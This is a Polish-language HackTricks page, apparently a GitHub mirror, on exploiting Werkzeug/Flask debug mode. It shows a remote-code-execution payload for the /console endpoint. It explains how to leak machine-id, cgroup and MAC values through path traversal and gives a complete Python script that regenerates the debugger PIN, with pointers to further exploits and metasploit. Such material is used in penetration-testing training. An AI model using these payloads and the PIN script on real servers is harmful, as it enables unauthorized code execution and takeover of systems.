mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-14 15:23:01 +00:00
188 lines
9.6 KiB
Markdown
188 lines
9.6 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą 20+ narzędzi i funkcji, które obejmują rozpoznanie, raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## Konsola RCE
|
|
|
|
Jeśli debugowanie jest aktywne, możesz spróbować uzyskać dostęp do `/console` i zdobyć RCE.
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
![](<../../.gitbook/assets/image (317).png>)
|
|
|
|
Istnieje również kilka exploitów w internecie, takich jak [ten ](https://github.com/its-arun/Werkzeug-Debug-RCE)lub jeden w metasploicie.
|
|
|
|
## Zabezpieczenie PIN - Traversal ścieżki
|
|
|
|
W niektórych przypadkach punkt końcowy **`/console`** będzie chroniony przez PIN. Jeśli masz **lukę w przeglądaniu plików**, możesz ujawnić wszystkie niezbędne informacje do wygenerowania tego PIN-a.
|
|
|
|
### Exploit PIN konsoli Werkzeug
|
|
|
|
Wymuś stronę błędu debugowania w aplikacji, aby zobaczyć to:
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
Gdy próbujesz uzyskać dostęp do interfejsu debugowania Werkzeug, możesz napotkać komunikat dotyczący scenariusza "zablokowanej konsoli", który wskazuje konieczność podania PIN-u, aby odblokować konsolę. Sugerowane jest wykorzystanie błędu w generowaniu PIN-u poprzez analizę algorytmu generowania PIN-u w pliku inicjalizacyjnym debugowania Werkzeug (`__init__.py`). Mechanizm generowania PIN-u można przeanalizować w [**repozytorium kodu źródłowego Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), jednak zaleca się pozyskanie rzeczywistego kodu serwera poprzez podatność na wędrówkę po plikach ze względu na potencjalne rozbieżności wersji.
|
|
|
|
Aby wykorzystać PIN konsoli, potrzebne są dwie grupy zmiennych: `probably_public_bits` i `private_bits`:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
* **`username`**: Odwołuje się do użytkownika, który rozpoczął sesję Flask.
|
|
* **`modname`**: Zazwyczaj oznaczany jako `flask.app`.
|
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Zazwyczaj rozwiązuje się do **Flask**.
|
|
* **`getattr(mod, '__file__', None)`**: Reprezentuje pełną ścieżkę do `app.py` w katalogu Flask (np. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Jeśli `app.py` nie jest dostępny, **spróbuj `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
* **`uuid.getnode()`**: Pobiera adres MAC bieżącej maszyny, a `str(uuid.getnode())` przekształca go na format dziesiętny.
|
|
* Aby **określić adres MAC serwera**, należy zidentyfikować aktywny interfejs sieciowy używany przez aplikację (np. `ens3`). W przypadku niepewności, **wyciek `/proc/net/arp`** w celu znalezienia identyfikatora urządzenia, a następnie **wyodrębnić adres MAC** z **`/sys/class/net/<identyfikator urządzenia>/address`**.
|
|
* Konwersję szesnastkowego adresu MAC na dziesiętny można wykonać jak pokazano poniżej:
|
|
|
|
```python
|
|
# Przykładowy adres MAC: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
* **`get_machine_id()`**: Łączy dane z `/etc/machine-id` lub `/proc/sys/kernel/random/boot_id` z pierwszą linią `/proc/self/cgroup` po ostatnim ukośniku (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Kod dla `get_machine_id()`</summary>
|
|
```python
|
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
global _machine_id
|
|
|
|
if _machine_id is not None:
|
|
return _machine_id
|
|
|
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
|
linux = b""
|
|
|
|
# machine-id is stable across boots, boot_id is not.
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
try:
|
|
with open(filename, "rb") as f:
|
|
value = f.readline().strip()
|
|
except OSError:
|
|
continue
|
|
|
|
if value:
|
|
linux += value
|
|
break
|
|
|
|
# Containers share the same machine id, add some cgroup
|
|
# information. This is used outside containers too but should be
|
|
# relatively stable across boots.
|
|
try:
|
|
with open("/proc/self/cgroup", "rb") as f:
|
|
linux += f.readline().strip().rpartition(b"/")[2]
|
|
except OSError:
|
|
pass
|
|
|
|
if linux:
|
|
return linux
|
|
|
|
# On OS X, use ioreg to get the computer's serial number.
|
|
try:
|
|
```
|
|
</details>
|
|
|
|
Po zebraniu wszystkich niezbędnych danych, skrypt wykorzystujący exploit może zostać uruchomiony w celu wygenerowania kodu PIN konsoli Werkzeug:
|
|
|
|
Po zebraniu wszystkich niezbędnych danych, skrypt exploitu może zostać uruchomiony w celu wygenerowania kodu PIN konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia skrótu, który następnie przechodzi dalszą obróbkę w celu wygenerowania końcowego PIN-u. Poniżej znajduje się kod w języku Python do wykonania tego procesu:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
```
|
|
Ten skrypt generuje PIN poprzez hashowanie połączonych bitów, dodanie określonych soli (`cookiesalt` i `pinsalt`) oraz sformatowanie wyniku. Ważne jest, aby faktyczne wartości dla `probably_public_bits` i `private_bits` zostały dokładnie pobrane z systemu docelowego, aby zapewnić, że wygenerowany PIN będzie zgodny z oczekiwanym przez konsolę Werkzeug.
|
|
|
|
{% hint style="success" %}
|
|
Jeśli korzystasz z **starej wersji** Werkzeug, spróbuj zmienić **algorytm haszowania na md5** zamiast sha1.
|
|
{% endhint %}
|
|
|
|
## Referencje
|
|
|
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą 20+ narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|